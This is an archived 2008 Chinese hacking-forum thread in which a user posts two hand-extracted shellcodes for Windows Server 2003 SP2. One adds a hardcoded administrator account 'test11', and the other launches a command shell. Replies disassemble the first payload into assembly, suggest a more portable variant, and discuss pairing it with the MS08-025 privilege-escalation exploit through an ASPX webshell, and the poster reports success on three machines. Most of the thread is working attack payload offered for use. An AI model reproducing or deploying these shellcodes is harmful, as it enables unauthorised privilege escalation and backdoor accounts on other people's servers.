邪恶八进制信息安全团队技术讨论组's Archiver

pt007 2008-4-29 21:55

[原创]发两个我自已提取的shellcode

文章作者:pt007[at]vip.sina.com
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到邪恶八进制信息安全团队技术讨论组。I.S.T.O版权所有,转载需注明作者。
1、//win2003+sp2下加入一个test11/Test11!!!管理员用户的shellcode:
unsigned char shellcode[]=
"\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x24"
"\xC6\x45\xDC\x6E\xC6\x45\xDD\x65\xC6\x45\xDE\x74\xC6\x45\xDF\x20\xC6\x45\xE0\x0D\xC6\x45\xE1\x75\xC6\x45\xE2\x73\xC6\x45\xE3\x65\xC6\x45\xE4\x72\xC6\x45\xE5\x20\xC6\x45\xE6\x0D\xC6\x45\xE7\x74\xC6\x45\xE8\x65\xC6\x45\xE9\x73\xC6\x45\xEA\x74\xC6\x45\xEB\x31\xC6\x45\xEC\x31\xC6\x45\xED\x20\xC6\x45\xEE\x0D\xC6\x45\xEF\x54\xC6\x45\xF0\x65\xC6\x45\xF1\x73\xC6\x45\xF2\x74\xC6\x45\xF3\x31\xC6\x45\xF4\x31\xC6\x45\xF5\x21\xC6\x45\xF6\x21\xC6\x45\xF7\x21\xC6\x45\xF8\x20\xC6\x45\xF9\x0D\xC6\x45\xFA\x2F\xC6\x45\xFB\x61\xC6\x45\xFC\x64\xC6\x45\xFD\x64\x8D\x45\xDC\x50\xB8\x83\xA0\xB8\x77\xFF\xD0"
"\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x34"
"\xC6\x45\xCC\x6E\xC6\x45\xCD\x65\xC6\x45\xCE\x74\xC6\x45\xCF\x20\xC6\x45\xD0\x0D\xC6\x45\xD1\x6C\xC6\x45\xD2\x6F\xC6\x45\xD3\x63\xC6\x45\xD4\x61\xC6\x45\xD5\x6C\xC6\x45\xD6\x67\xC6\x45\xD7\x72\xC6\x45\xD8\x6F\xC6\x45\xD9\x75\xC6\x45\xDA\x70\xC6\x45\xDB\x20\xC6\x45\xDC\x0D\xC6\x45\xDD\x61\xC6\x45\xDE\x64\xC6\x45\xDF\x6D\xC6\x45\xE0\x69\xC6\x45\xE1\x6E\xC6\x45\xE2\x69\xC6\x45\xE3\x73\xC6\x45\xE4\x74\xC6\x45\xE5\x72\xC6\x45\xE6\x61\xC6\x45\xE7\x74\xC6\x45\xE8\x6F\xC6\x45\xE9\x72\xC6\x45\xEA\x73\xC6\x45\xEB\x20\xC6\x45\xEC\x0D\xC6\x45\xED\x74\xC6\x45\xEE\x65\xC6\x45\xEF\x73\xC6\x45\xF0\x74\xC6\x45\xF1\x31\xC6\x45\xF2\x31\xC6\x45\xF3\x20\xC6\x45\xF4\x0D\xC6\x45\xF5\x2F\xC6\x45\xF6\x61\xC6\x45\xF7\x64\xC6\x45\xF8\x64"
"\x8D\x45\xCC\x50\xB8\x83\xA0\xB8\x77\xFF\xD0";

2、/* 以下shellcode将开启一个command.com for win2k3+sp2 */
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\xc6\x1d\x80\x7c"  //2003 sp2上LoadLibraryA地址:0x7C801DC6
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\x83\xa0\xb8\x77"  //2003 sp1和sp2上system地址:0x77b8a083
"\xFF\xD0";

[[i] 本帖最后由 pt007 于 2008-4-29 22:00 编辑 [/i]]

adson 2008-4-30 09:15

是自己劳动的成果,发不发出来是一回事,是不是对每个人都有意义那是另外一回事!
如果楼主再贴上函数源代码就更好了

pt007 2008-5-1 12:41

没有源码,我手动提取的

xi4oyu 2008-5-1 14:20

push 栈 然后system调用,目测是这样,嘿嘿
没用还工具转换:lol:

洋洋洒洒 2008-5-1 23:42

push    ebp
  mov     ebp, esp
  xor     edi, edi
  push    edi
  sub     esp, 24
  mov     byte ptr [ebp-24], 6E
  mov     byte ptr [ebp-23], 65
  mov     byte ptr [ebp-22], 74
  mov     byte ptr [ebp-21], 20
  mov     byte ptr [ebp-20], 0D
  mov     byte ptr [ebp-1F], 75
  mov     byte ptr [ebp-1E], 73
  mov     byte ptr [ebp-1D], 65
  mov     byte ptr [ebp-1C], 72
  mov     byte ptr [ebp-1B], 20
  mov     byte ptr [ebp-1A], 0D
  mov     byte ptr [ebp-19], 74
  mov     byte ptr [ebp-18], 65
  mov     byte ptr [ebp-17], 73
  mov     byte ptr [ebp-16], 74
  mov     byte ptr [ebp-15], 31
  mov     byte ptr [ebp-14], 31
  mov     byte ptr [ebp-13], 20
  mov     byte ptr [ebp-12], 0D
  mov     byte ptr [ebp-11], 54
  mov     byte ptr [ebp-10], 65
  mov     byte ptr [ebp-F], 73
  mov     byte ptr [ebp-E], 74
  mov     byte ptr [ebp-D], 31
  mov     byte ptr [ebp-C], 31
  mov     byte ptr [ebp-B], 21
  mov     byte ptr [ebp-A], 21
  mov     byte ptr [ebp-9], 21
  mov     byte ptr [ebp-8], 20
  mov     byte ptr [ebp-7], 0D
  mov     byte ptr [ebp-6], 2F
  mov     byte ptr [ebp-5], 61
  mov     byte ptr [ebp-4], 64
  mov     byte ptr [ebp-3], 64
  lea     eax, dword ptr [ebp-24]
  push    eax
  mov     eax, 77B8A083
  call    eax


硬编码...我无语了...
还有 mov...... 更无语...
call @F
db 'net user /add ..........'
@@:
用这个吧

asm 2008-5-2 19:44

:loveliness:  不通用,不通用。。。。

taiwansee 2008-5-2 20:16

感谢楼主的共享。
不过ms08025不能用在webshell提权中。。作用大幅度地减小了。
"An attacker must have valid logon credentials and be able to log on locally to a vulnerable system in order to exploit this vulnerability. The vulnerability could not be exploited remotely or by anonymous users."

[[i] 本帖最后由 taiwansee 于 2008-5-2 20:23 编辑 [/i]]

sunwear 2008-5-3 09:36

08025的利用似乎需要发送消息?
所以WEBSHELL下无法使用吧

pt007 2008-5-3 11:46

[quote]原帖由 [i]sunwear[/i] 于 2008-5-3 09:36 发表 [url=http://forum.eviloctal.com/redirect.php?goto=findpost&pid=142102&ptid=32956][img]images/common/back.gif[/img][/url]
08025的利用似乎需要发送消息?
所以WEBSHELL下无法使用吧 [/quote]
可以在.net shell里面成功进行本地提权,我测试成功了三台.

lodx 2008-5-3 11:51

不在WEBSHELL下  应该还是有方法的呀!

dayang1718 2008-5-3 14:54

可以在.net shell里面成功进行本地提权,我测试成功了三台.
意思是在ASPX马里可以执行08025利用程序来添加用户?

taiwansee 2008-5-3 18:40

我在Windows Server 2003 Enterprise SP2上,用aspx马测试失败。

另:
“可以在.net shell里面成功进行本地提权,我测试成功了三台.”中的“.net shell”到底是怎么样的shell呢?“本地提权”又是怎么回事?

请楼主指教。

pt007 2008-5-5 11:57

[quote]原帖由 [i]洋洋洒洒[/i] 于 2008-5-1 23:42 发表 [url=http://forum.eviloctal.com/redirect.php?goto=findpost&pid=142050&ptid=32956][img]images/common/back.gif[/img][/url]
push    ebp
  mov     ebp, esp
  xor     edi, edi
  push    edi
  sub     esp, 24
  mov     byte ptr [ebp-24], 6E
  mov     byte ptr [ebp-23], 65
  mov     byte ptr [ebp-22], 74
  mov     byte ptr [eb ... [/quote]
能说说你是怎么得到ASM源码的?

洋洋洒洒 2008-5-5 13:03

回复 13楼 pt007 的帖子

直接把机器码整理一下格式 往od里贴上去就得到了...

请问I.S.T.O网址在哪啊?[s:307]

pt007 2008-5-6 10:48

[quote]原帖由 [i]洋洋洒洒[/i] 于 2008-5-5 13:03 发表 [url=http://forum.eviloctal.com/redirect.php?goto=findpost&pid=142213&ptid=32956][img]images/common/back.gif[/img][/url]
直接把机器码整理一下格式 往od里贴上去就得到了...

请问I.S.T.O网址在哪啊?[s:307] [/quote]
http://blog.csdn.net/I_S_T_O/  欢迎指教:)

[[i] 本帖最后由 pt007 于 2008-5-6 11:01 编辑 [/i]]

页: [1]
© 1999-2008 EvilOctal Security Team